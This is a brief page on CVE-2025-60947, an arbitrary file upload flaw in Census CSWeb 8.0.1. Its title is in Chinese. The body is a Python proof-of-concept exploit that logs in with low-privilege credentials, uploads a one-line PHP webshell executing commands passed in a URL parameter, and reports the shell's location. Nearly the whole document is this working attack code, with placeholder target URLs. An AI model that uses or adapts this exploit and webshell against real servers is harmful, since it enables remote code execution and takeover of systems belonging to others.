CVE-2025-60947 Census CSWeb 任意文件上传漏洞

import requests # CVE-2025-60947 PoC: Arbitrary File Upload leading to RCE # Target: Census CSWeb 8.0.1 target_url = "http://target-csweb-url/upload_endpoint" login_url = "http://target-csweb-url/login" # Attacker credentials username = "low_priv_user" password = "password" # Malicious file content (e.g., PHP webshell) shell_content = "<?php system($_GET['cmd']); ?>" session = requests.Session() # 1. Authenticate login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # 2. Upload malicious file files = {"file": ("shell.php", shell_content, "application/x-php")} response = session.post(target_url, files=files) if response.status_code == 200 and "upload" in response.text.lower(): print("[+] File uploaded successfully!") print(f"[+] Check shell at: {target_url.replace('upload_endpoint', 'uploads/shell.php')}") else: print("[-] Upload failed")